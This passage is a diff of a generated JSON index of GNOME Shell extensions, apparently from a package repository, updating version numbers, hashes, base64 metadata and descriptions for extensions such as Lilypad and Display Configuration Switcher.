IiwKICAidXVpZCI6ICJiZXR0ZXItZGVza3RvcC16b29tQHBvcG92ODk1LnVrci5uZXQiLAogICJ2ZXJzaW9uIjogMTEKfQ=="}
   }}
-, {"uuid": "lilypad@shendrew.github.io", "name": "Lilypad Top Bar Manager", "pname": "lilypad", "description": "Organize, hide, and reorder top bar icons\n- button to toggle icon visibility\n- reorder items by drag and drop\n- support for non-GTK native apps (eg. Discord, Slack)", "link": "https://extensions.gnome.org/extension/7266/lilypad/", "shell_version_map": {
-    "46": {"version": "8", "sha256": "01j81k7xlsqhznlws8n1q6ncs6s5mm0ml2wk7p7c3wyif77327aq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXplLCBoaWRlLCBhbmQgcmVvcmRlciB0b3AgYmFyIGluZGljYXRvcnMiLAogICJuYW1lIjogIkxpbHlwYWQiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubGlseXBhZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NoZW5kcmV3L0xpbHlwYWQiLAogICJ1dWlkIjogImxpbHlwYWRAc2hlbmRyZXcuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDgsCiAgInZlcnNpb24tbmFtZSI6ICIxLjAuNSIKfQ=="},
-    "47": {"version": "8", "sha256": "01j81k7xlsqhznlws8n1q6ncs6s5mm0ml2wk7p7c3wyif77327aq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXplLCBoaWRlLCBhbmQgcmVvcmRlciB0b3AgYmFyIGluZGljYXRvcnMiLAogICJuYW1lIjogIkxpbHlwYWQiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubGlseXBhZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NoZW5kcmV3L0xpbHlwYWQiLAogICJ1dWlkIjogImxpbHlwYWRAc2hlbmRyZXcuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDgsCiAgInZlcnNpb24tbmFtZSI6ICIxLjAuNSIKfQ=="},
-    "48": {"version": "8", "sha256": "01j81k7xlsqhznlws8n1q6ncs6s5mm0ml2wk7p7c3wyif77327aq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXplLCBoaWRlLCBhbmQgcmVvcmRlciB0b3AgYmFyIGluZGljYXRvcnMiLAogICJuYW1lIjogIkxpbHlwYWQiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubGlseXBhZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NoZW5kcmV3L0xpbHlwYWQiLAogICJ1dWlkIjogImxpbHlwYWRAc2hlbmRyZXcuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDgsCiAgInZlcnNpb24tbmFtZSI6ICIxLjAuNSIKfQ=="}
+, {"uuid": "lilypad@shendrew.github.io", "name": "Lilypad Top Bar Manager", "pname": "lilypad", "description": "Organize, hide, and reorder top bar icons\n- auto collapse timer\n- button to toggle icon visibility\n- reorder items by drag and drop\n- support for non-GTK native apps (eg. Discord, Slack)\n- support for tablets and touchscreens\n\n*right-click to access settings menu", "link": "https://extensions.gnome.org/extension/7266/lilypad/", "shell_version_map": {
+    "46": {"version": "12", "sha256": "0hywsdbz16jv23406hawz1a355aks62x6in5qlxppw30a57b8fc8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXplLCBoaWRlLCBhbmQgcmVvcmRlciB0b3AgYmFyIGluZGljYXRvcnMiLAogICJuYW1lIjogIkxpbHlwYWQiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubGlseXBhZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NoZW5kcmV3L0xpbHlwYWQiLAogICJ1dWlkIjogImxpbHlwYWRAc2hlbmRyZXcuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDEyLAogICJ2ZXJzaW9uLW5hbWUiOiAiMS4xLjIiCn0="},
+    "47": {"version": "12", "sha256": "0hywsdbz16jv23406hawz1a355aks62x6in5qlxppw30a57b8fc8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXplLCBoaWRlLCBhbmQgcmVvcmRlciB0b3AgYmFyIGluZGljYXRvcnMiLAogICJuYW1lIjogIkxpbHlwYWQiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubGlseXBhZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NoZW5kcmV3L0xpbHlwYWQiLAogICJ1dWlkIjogImxpbHlwYWRAc2hlbmRyZXcuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDEyLAogICJ2ZXJzaW9uLW5hbWUiOiAiMS4xLjIiCn0="},
+    "48": {"version": "12", "sha256": "0hywsdbz16jv23406hawz1a355aks62x6in5qlxppw30a57b8fc8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXplLCBoaWRlLCBhbmQgcmVvcmRlciB0b3AgYmFyIGluZGljYXRvcnMiLAogICJuYW1lIjogIkxpbHlwYWQiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubGlseXBhZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NoZW5kcmV3L0xpbHlwYWQiLAogICJ1dWlkIjogImxpbHlwYWRAc2hlbmRyZXcuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDEyLAogICJ2ZXJzaW9uLW5hbWUiOiAiMS4xLjIiCn0="}
   }}
 , {"uuid": "bilingual-app-search@pwa.lu", "name": "Bilingual App Search", "pname": "bilingual-app-search", "description": "Make GNOME Search look up applications in both English and your system's locale.", "link": "https://extensions.gnome.org/extension/7269/bilingual-app-search/", "shell_version_map": {
     "46": {"version": "4", "sha256": "0gdf8i10fb20g343j62050m6jfafhrq75n6pya74fl0i4khphpig", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1ha2UgR05PTUUgU2VhcmNoIGxvb2sgdXAgYXBwbGljYXRpb25zIGluIGJvdGggRW5nbGlzaCBhbmQgeW91ciBzeXN0ZW0ncyBsb2NhbGUuIiwKICAibmFtZSI6ICJCaWxpbmd1YWwgQXBwIFNlYXJjaCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2NyYXp5Z29sZW0vYmlsaW5ndWFsLWFwcC1zZWFyY2giLAogICJ1dWlkIjogImJpbGluZ3VhbC1hcHAtc2VhcmNoQHB3YS5sdSIsCiAgInZlcnNpb24iOiA0Cn0="},
@@ -8458,9 +8482,9 @@
     "48": {"version": "5", "sha256": "1hdvx9x6yc5bzd9g84chm4p0n1dkrpgz2js36h7yh9v9p7jpi49x", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNvbWUgUW9MIGltcHJvdmVtZW50cyB0byBJQnVzLiIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1iZXR0ZXItaWJ1cyIsCiAgIm5hbWUiOiAiQmV0dGVyIElCdXMiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYmV0dGVyLWlidXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbWVjaHRpZnMvYmV0dGVyLWlidXMiLAogICJ1dWlkIjogImJldHRlci1pYnVzQG1lY2h0aWZzIiwKICAidmVyc2lvbiI6IDUKfQ=="}
   }}
 , {"uuid": "display-configuration-switcher@knokelmaat.gitlab.com", "name": "Display Configuration Switcher", "pname": "display-configuration-switcher", "description": "Quickly change the display configuration from the system menu. Multiple display configurations can be saved with custom names. A display configuration contains all display settings: resolution, scaling, orientation, position...", "link": "https://extensions.gnome.org/extension/7281/display-configuration-switcher/", "shell_version_map": {
-    "46": {"version": "9", "sha256": "09hfllhmdkkydqglvh13pm3lkmm49splyycqljf2dnqa12bf6g6g", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrbHkgY2hhbmdlIHRoZSBkaXNwbGF5IGNvbmZpZ3VyYXRpb24gZnJvbSB0aGUgc3lzdGVtIG1lbnUuIE11bHRpcGxlIGRpc3BsYXkgY29uZmlndXJhdGlvbnMgY2FuIGJlIHNhdmVkIHdpdGggY3VzdG9tIG5hbWVzLiBBIGRpc3BsYXkgY29uZmlndXJhdGlvbiBjb250YWlucyBhbGwgZGlzcGxheSBzZXR0aW5nczogcmVzb2x1dGlvbiwgc2NhbGluZywgb3JpZW50YXRpb24sIHBvc2l0aW9uLi4uIiwKICAibmFtZSI6ICJEaXNwbGF5IENvbmZpZ3VyYXRpb24gU3dpdGNoZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZGlzcGxheS1jb25maWd1cmF0aW9uLXN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20va25va2VsbWFhdC9kaXNwbGF5LWNvbmZpZ3VyYXRpb24tc3dpdGNoZXItZ25vbWUtZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJkaXNwbGF5LWNvbmZpZ3VyYXRpb24tc3dpdGNoZXJAa25va2VsbWFhdC5naXRsYWIuY29tIiwKICAidmVyc2lvbiI6IDkKfQ=="},
-    "47": {"version": "9", "sha256": "09hfllhmdkkydqglvh13pm3lkmm49splyycqljf2dnqa12bf6g6g", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrbHkgY2hhbmdlIHRoZSBkaXNwbGF5IGNvbmZpZ3VyYXRpb24gZnJvbSB0aGUgc3lzdGVtIG1lbnUuIE11bHRpcGxlIGRpc3BsYXkgY29uZmlndXJhdGlvbnMgY2FuIGJlIHNhdmVkIHdpdGggY3VzdG9tIG5hbWVzLiBBIGRpc3BsYXkgY29uZmlndXJhdGlvbiBjb250YWlucyBhbGwgZGlzcGxheSBzZXR0aW5nczogcmVzb2x1dGlvbiwgc2NhbGluZywgb3JpZW50YXRpb24sIHBvc2l0aW9uLi4uIiwKICAibmFtZSI6ICJEaXNwbGF5IENvbmZpZ3VyYXRpb24gU3dpdGNoZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZGlzcGxheS1jb25maWd1cmF0aW9uLXN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20va25va2VsbWFhdC9kaXNwbGF5LWNvbmZpZ3VyYXRpb24tc3dpdGNoZXItZ25vbWUtZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJkaXNwbGF5LWNvbmZpZ3VyYXRpb24tc3dpdGNoZXJAa25va2VsbWFhdC5naXRsYWIuY29tIiwKICAidmVyc2lvbiI6IDkKfQ=="},
-    "48": {"version": "9", "sha256": "09hfllhmdkkydqglvh13pm3lkmm49splyycqljf2dnqa12bf6g6g", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrbHkgY2hhbmdlIHRoZSBkaXNwbGF5IGNvbmZpZ3VyYXRpb24gZnJvbSB0aGUgc3lzdGVtIG1lbnUuIE11bHRpcGxlIGRpc3BsYXkgY29uZmlndXJhdGlvbnMgY2FuIGJlIHNhdmVkIHdpdGggY3VzdG9tIG5hbWVzLiBBIGRpc3BsYXkgY29uZmlndXJhdGlvbiBjb250YWlucyBhbGwgZGlzcGxheSBzZXR0aW5nczogcmVzb2x1dGlvbiwgc2NhbGluZywgb3JpZW50YXRpb24sIHBvc2l0aW9uLi4uIiwKICAibmFtZSI6ICJEaXNwbGF5IENvbmZpZ3VyYXRpb24gU3dpdGNoZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZGlzcGxheS1jb25maWd1cmF0aW9uLXN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20va25va2VsbWFhdC9kaXNwbGF5LWNvbmZpZ3VyYXRpb24tc3dpdGNoZXItZ25vbWUtZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJkaXNwbGF5LWNvbmZpZ3VyYXRpb24tc3dpdGNoZXJAa25va2VsbWFhdC5naXRsYWIuY29tIiwKICAidmVyc2lvbiI6IDkKfQ=="}
+    "46": {"version": "10", "sha256": "1y4xpm3hmbc55qaynaf5h2hxdg4rxl8hjv331nic0lwhdjs4lr59", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrbHkgY2hhbmdlIHRoZSBkaXNwbGF5IGNvbmZpZ3VyYXRpb24gZnJvbSB0aGUgc3lzdGVtIG1lbnUuIE11bHRpcGxlIGRpc3BsYXkgY29uZmlndXJhdGlvbnMgY2FuIGJlIHNhdmVkIHdpdGggY3VzdG9tIG5hbWVzLiBBIGRpc3BsYXkgY29uZmlndXJhdGlvbiBjb250YWlucyBhbGwgZGlzcGxheSBzZXR0aW5nczogcmVzb2x1dGlvbiwgc2NhbGluZywgb3JpZW50YXRpb24sIHBvc2l0aW9uLi4uIiwKICAibmFtZSI6ICJEaXNwbGF5IENvbmZpZ3VyYXRpb24gU3dpdGNoZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZGlzcGxheS1jb25maWd1cmF0aW9uLXN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20va25va2VsbWFhdC9kaXNwbGF5LWNvbmZpZ3VyYXRpb24tc3dpdGNoZXItZ25vbWUtZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJkaXNwbGF5LWNvbmZpZ3VyYXRpb24tc3dpdGNoZXJAa25va2VsbWFhdC5naXRsYWIuY29tIiwKICAidmVyc2lvbiI6IDEwCn0="},
+    "47": {"version": "10", "sha256": "1y4xpm3hmbc55qaynaf5h2hxdg4rxl8hjv331nic0lwhdjs4lr59", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrbHkgY2hhbmdlIHRoZSBkaXNwbGF5IGNvbmZpZ3VyYXRpb24gZnJvbSB0aGUgc3lzdGVtIG1lbnUuIE11bHRpcGxlIGRpc3BsYXkgY29uZmlndXJhdGlvbnMgY2FuIGJlIHNhdmVkIHdpdGggY3VzdG9tIG5hbWVzLiBBIGRpc3BsYXkgY29uZmlndXJhdGlvbiBjb250YWlucyBhbGwgZGlzcGxheSBzZXR0aW5nczogcmVzb2x1dGlvbiwgc2NhbGluZywgb3JpZW50YXRpb24sIHBvc2l0aW9uLi4uIiwKICAibmFtZSI6ICJEaXNwbGF5IENvbmZpZ3VyYXRpb24gU3dpdGNoZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZGlzcGxheS1jb25maWd1cmF0aW9uLXN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20va25va2VsbWFhdC9kaXNwbGF5LWNvbmZpZ3VyYXRpb24tc3dpdGNoZXItZ25vbWUtZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJkaXNwbGF5LWNvbmZpZ3VyYXRpb24tc3dpdGNoZXJAa25va2VsbWFhdC5naXRsYWIuY29tIiwKICAidmVyc2lvbiI6IDEwCn0="},
+    "48": {"version": "10", "sha256": "1y4xpm3hmbc55qaynaf5h2hxdg4rxl8hjv331nic0lwhdjs4lr59", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrbHkgY2hhbmdlIHRoZSBkaXNwbGF5IGNvbmZpZ3VyYXRpb24gZnJvbSB0aGUgc3lzdGVtIG1lbnUuIE11bHRpcGxlIGRpc3BsYXkgY29uZmlndXJhdGlvbnMgY2FuIGJlIHNhdmVkIHdpdGggY3VzdG9tIG5hbWVzLiBBIGRpc3BsYXkgY29uZmlndXJhdGlvbiBjb250YWlucyBhbGwgZGlzcGxheSBzZXR0aW5nczogcmVzb2x1dGlvbiwgc2NhbGluZywgb3JpZW50YXRpb24sIHBvc2l0aW9uLi4uIiwKICAibmFtZSI6ICJEaXNwbGF5IENvbmZpZ3VyYXRpb24gU3dpdGNoZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZGlzcGxheS1jb25maWd1cmF0aW9uLXN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20va25va2VsbWFhdC9kaXNwbGF5LWNvbmZpZ3VyYXRpb24tc3dpdGNoZXItZ25vbWUtZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJkaXNwbGF5LWNvbmZpZ3VyYXRpb24tc3dpdGNoZXJAa25va2VsbWFhdC5naXRsYWIuY29tIiwKICAidmVyc2lvbiI6IDEwCn0="}
   }}
 , {"uuid": "dynamic-panel@velhlkj.com", "name": "Dynamic Panel", "pname": "dynamic-panel", "description": "Dynamic Top Panel\nOriginally inspired by the floating panel design in KDE Plasma 6, it presents a translucent floating bar effect when there are no windows nearby, and a solid panel style when windows are close. It supports Gnome's dark and light mode switching. You can set custom colors for dark and light modes respectively. And there are more settings!\n\nFloating Mode\nWhen there are no windows near the top panel, it will be in floating mode.Floating mode has a translucent effect and a built-in simple blur effect. if you want a more advanced and more controllable blur effect, it is recommended to use Blur my shell's static pipeline for the panel. Blur my shell's dynamic mode will not have rounded corners, which is a problem with Blur my shell.\n\nSolid Mode\nWhen any window is close enough (almost touching) to the top panel, the top panel will become an opaque dock (same as the default in Gnome, but you can apply custom colors to it), which can better blend with maximized windows, unlike themes that are always floating and have a \"light leakage\" phenomenon.\n\nSpecial Thanks (in no particular order)\nThanks to Gonzague/Paul Fauchon's Transparent Top Bar (Adjustable transparency) for the idea, the implementation of window proximity detection largely refers to this extension\nThanks to Google Gemini for the help provided in the research and learning of Gjs\n\nKnown Issue\nGNOME panel experiences brief flickering during workspace transitions or when returning from the overview. This is caused by GNOME forcibly resetting panel styles during these actions. As this is an underlying GNOME behavior, there is currently no external fix available. Therefore, this flickering issue is listed as a known and temporarily unresolvable problem.\n\n👇  See what's new!  Update logs are available on GitHub Releases 👇\n\n動態頂部面板\n最初靈感來源於 KDE Plasma 6 的懸浮面板的設計，在附近沒有視窗時呈現半透明懸浮條效果，而當視窗靠近時則呈現實色面板的樣式。支援 Gnome 的暗色模式和亮色模式切換。可針對暗色和亮色模式分別設定自訂顏色。還有更多設定！\n\n懸浮模式\n當頂部面板附近沒有視窗時，會呈現懸浮模式。懸浮模式有半透明效果，內建簡易模糊效果，如果想要更高級和細緻的模糊效果，建議搭配 Blur my shell 對於面板的靜態 pipeline 使用。Blur my shell 動態模式會沒有圓角，這是 Blur my shell 的問題。\n\n實體模式\n當有任何視窗足夠靠近（幾乎接觸）頂部面板時，頂部面板將會變為不透明的停靠欄（和 Gnome 默認的一樣，但你可以對其應用自訂顏色），與最大化視窗可以更好的融合，而不像主題一樣始終懸浮會有「漏光」的現象。\n\n特別鳴謝（排名不分先後）\n感謝 Gonzague/Paul Fauchon 的 Transparent Top Bar (Adjustable transparency) 的思路，對視窗靠近的判定實現思路大量參考了此擴充功能\n感謝 Google Gemini 在研究和學習 Gjs 過程中提供的幫助\n\n已知問題\nGNOME面板在工作區切換或從概觀視圖返回時，會短暫閃爍。這是由於GNOME在這些操作中強制重置面板樣式所致。由於這是GNOME的底層行為，目前無法透過外部方式解決，因此此閃爍問題被列為已知且暫無法修復的問題。\n\n👇更新日誌請到GitHub的Releases查看👇", "link": "https://extensions.gnome.org/extension/7284/dynamic-panel/", "shell_version_map": {
     "46": {"version": "40", "sha256": "1msd0nkzrpvz2hrpaq0l05ipbpixvw4jkl2ww89kznqwslzg01hq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR05PTUUgZXh0ZW5zaW9uIHRoYXQgZHluYW1pY2FsbHkgY2hhbmdlcyB0aGUgcGFuZWwncyBhcHBlYXJhbmNlLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJjdXN0b20iOiAiaHR0cHM6Ly93d3cudmVsaGxrai5jb20vdHcvaG9tZS9zdWJhY3Q9ZG9uYXRlIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImR5bmFtaWMtcGFuZWwiLAogICJuYW1lIjogIkR5bmFtaWMgUGFuZWwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZHluYW1pYy1wYW5lbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3ZlbGFkZS9keW5hbWljLXBhbmVsIiwKICAidXVpZCI6ICJkeW5hbWljLXBhbmVsQHZlbGhsa2ouY29tIiwKICAidmVyc2lvbiI6IDQwLAogICJ2ZXJzaW9uLW5hbWUiOiAiNC4xMC40Igp9"},
@@ -8473,14 +8497,16 @@
     "48": {"version": "5", "sha256": "14flhpkz3445rdyj2j36lv0mi73987yf3arkrkin932s8fsfnl56", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNldCBzY2hlZHVsZSBmb3IgRG8gTm90IERpc3R1cmIgbW9kZSIsCiAgIm5hbWUiOiAiRG5EIE9uIFRpbWUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZG5kc2NoZWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9Sb3plRm91bmQvZG5kc2NoZWQiLAogICJ1dWlkIjogImRuZHNjaGVkQHJvemVmb3VuZCIsCiAgInZlcnNpb24iOiA1Cn0="}
   }}
 , {"uuid": "window-commander@gnikolaos.gr", "name": "Window Commander", "pname": "window-commander", "description": "Provides a D-Bus interface for managing and controlling windows, including listing, resizing, moving, and workspace management", "link": "https://extensions.gnome.org/extension/7302/window-commander/", "shell_version_map": {
-    "45": {"version": "4", "sha256": "1wxqm85h6sjviy5kywb5m7l8qgc5ld1wm3l652yqk5isranqryrq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByb3ZpZGVzIGEgRC1CdXMgaW50ZXJmYWNlIGZvciBtYW5hZ2luZyBhbmQgY29udHJvbGxpbmcgd2luZG93cywgaW5jbHVkaW5nIGxpc3RpbmcsIHJlc2l6aW5nLCBtb3ZpbmcsIGFuZCB3b3Jrc3BhY2UgbWFuYWdlbWVudCIsCiAgIm5hbWUiOiAiV2luZG93IENvbW1hbmRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2duaWtvbGFvcy93aW5kb3ctY29tbWFuZGVyIiwKICAidXVpZCI6ICJ3aW5kb3ctY29tbWFuZGVyQGduaWtvbGFvcy5nciIsCiAgInZlcnNpb24iOiA0Cn0="},
-    "46": {"version": "4", "sha256": "1wxqm85h6sjviy5kywb5m7l8qgc5ld1wm3l652yqk5isranqryrq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByb3ZpZGVzIGEgRC1CdXMgaW50ZXJmYWNlIGZvciBtYW5hZ2luZyBhbmQgY29udHJvbGxpbmcgd2luZG93cywgaW5jbHVkaW5nIGxpc3RpbmcsIHJlc2l6aW5nLCBtb3ZpbmcsIGFuZCB3b3Jrc3BhY2UgbWFuYWdlbWVudCIsCiAgIm5hbWUiOiAiV2luZG93IENvbW1hbmRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2duaWtvbGFvcy93aW5kb3ctY29tbWFuZGVyIiwKICAidXVpZCI6ICJ3aW5kb3ctY29tbWFuZGVyQGduaWtvbGFvcy5nciIsCiAgInZlcnNpb24iOiA0Cn0="},
